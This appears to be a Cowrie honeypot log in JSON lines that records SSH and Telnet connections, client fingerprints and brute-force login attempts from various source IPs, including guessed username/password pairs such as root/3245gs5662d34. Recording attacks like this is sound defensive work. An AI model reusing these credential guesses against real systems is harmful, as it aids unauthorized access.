{"eventid":"cowrie.session.connect","src_ip":"103.59.94.61","src_port":48024,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1b6485ebb86","protocol":"ssh","message":"New connection: 103.59.94.61:48024 (159.203.135.109:22) [session: a1b6485ebb86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:43:51.835785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:43:51.839649Z","src_ip":"103.59.94.61","session":"a1b6485ebb86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:43:52.083464Z","src_ip":"103.59.94.61","session":"a1b6485ebb86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:43:53.092278Z","src_ip":"103.59.94.61","session":"a1b6485ebb86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:43:54.340519Z","src_ip":"103.59.94.61","session":"a1b6485ebb86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.59.94.61","src_port":48036,"dst_ip":"159.203.135.109","dst_port":22,"session":"8058b37d6ca6","protocol":"ssh","message":"New connection: 103.59.94.61:48036 (159.203.135.109:22) [session: 8058b37d6ca6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:43:54.600220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:43:54.604454Z","src_ip":"103.59.94.61","session":"8058b37d6ca6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:43:54.858634Z","src_ip":"103.59.94.61","session":"8058b37d6ca6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:43:55.923363Z","src_ip":"103.59.94.61","session":"8058b37d6ca6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:43:56.181182Z","src_ip":"103.59.94.61","session":"0db03d86980f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:43:56.184635Z","src_ip":"103.59.94.61","session":"8058b37d6ca6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.52.236.235","src_port":42156,"dst_ip":"159.203.135.109","dst_port":22,"session":"e17fdc5f8e03","protocol":"ssh","message":"New connection: 182.52.236.235:42156 (159.203.135.109:22) [session: e17fdc5f8e03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:44:36.534777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:44:36.539054Z","src_ip":"182.52.236.235","session":"e17fdc5f8e03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:44:36.780636Z","src_ip":"182.52.236.235","session":"e17fdc5f8e03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"viewer","password":"123","message":"login attempt [viewer/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:44:37.779802Z","src_ip":"182.52.236.235","session":"e17fdc5f8e03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:44:39.024614Z","src_ip":"182.52.236.235","session":"e17fdc5f8e03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.18.126","src_port":45482,"dst_ip":"159.203.135.109","dst_port":22,"session":"100905746325","protocol":"ssh","message":"New connection: 20.244.18.126:45482 (159.203.135.109:22) [session: 100905746325]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:44:49.869861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:44:49.873665Z","src_ip":"20.244.18.126","session":"100905746325","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:44:50.084682Z","src_ip":"20.244.18.126","session":"100905746325","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hdoop","password":"123456","message":"login attempt [hdoop/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:44:50.963778Z","src_ip":"20.244.18.126","session":"100905746325","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:44:52.179854Z","src_ip":"20.244.18.126","session":"100905746325","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.88.194.26","src_port":46664,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1842315bc8f","protocol":"ssh","message":"New connection: 176.88.194.26:46664 (159.203.135.109:22) [session: c1842315bc8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:44:59.195031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:44:59.199635Z","src_ip":"176.88.194.26","session":"c1842315bc8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:44:59.329427Z","src_ip":"176.88.194.26","session":"c1842315bc8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hu","password":"hu123!","message":"login attempt [hu/hu123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:44:59.879544Z","src_ip":"176.88.194.26","session":"c1842315bc8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.176.195.200","src_port":53358,"dst_ip":"159.203.135.109","dst_port":22,"session":"461c0ffe7690","protocol":"ssh","message":"New connection: 64.176.195.200:53358 (159.203.135.109:22) [session: 461c0ffe7690]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:45:00.898391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:45:00.904051Z","src_ip":"64.176.195.200","session":"461c0ffe7690","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:45:00.909799Z","src_ip":"64.176.195.200","session":"461c0ffe7690","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"beata","password":"beata","message":"login attempt [beata/beata] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:45:00.922808Z","src_ip":"64.176.195.200","session":"461c0ffe7690","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:45:01.012280Z","src_ip":"176.88.194.26","session":"c1842315bc8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:45:01.931139Z","src_ip":"64.176.195.200","session":"461c0ffe7690","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.106.133.202","src_port":61702,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f46be4da906","protocol":"ssh","message":"New connection: 211.106.133.202:61702 (159.203.135.109:22) [session: 0f46be4da906]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:45:11.951630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:45:11.971301Z","src_ip":"211.106.133.202","session":"0f46be4da906","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:45:12.173380Z","src_ip":"211.106.133.202","session":"0f46be4da906","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"benson","password":"123456","message":"login attempt [benson/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:45:13.204064Z","src_ip":"211.106.133.202","session":"0f46be4da906","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:45:14.414906Z","src_ip":"211.106.133.202","session":"0f46be4da906","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.137.121.41","src_port":43300,"dst_ip":"159.203.135.109","dst_port":23,"session":"85718af8bd48","protocol":"telnet","message":"New connection: 36.137.121.41:43300 (159.203.135.109:23) [session: 85718af8bd48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:45:20.833552Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":33514,"dst_ip":"10.17.0.5","dst_port":22,"session":"f417905df7bd","protocol":"ssh","message":"New connection: 2.57.122.208:33514 (10.17.0.5:22) [session: f417905df7bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:45:31.817253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:45:31.912469Z","src_ip":"2.57.122.208","session":"f417905df7bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:45:31.960353Z","src_ip":"2.57.122.208","session":"f417905df7bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:45:32.426517Z","src_ip":"2.57.122.208","session":"f417905df7bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:45:33.532746Z","src_ip":"2.57.122.208","session":"f417905df7bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.59.94.61","src_port":41454,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7cde418628c","protocol":"ssh","message":"New connection: 103.59.94.61:41454 (159.203.135.109:22) [session: c7cde418628c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:45:56.279480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:45:56.283604Z","src_ip":"103.59.94.61","session":"c7cde418628c","protocol":"ssh"}
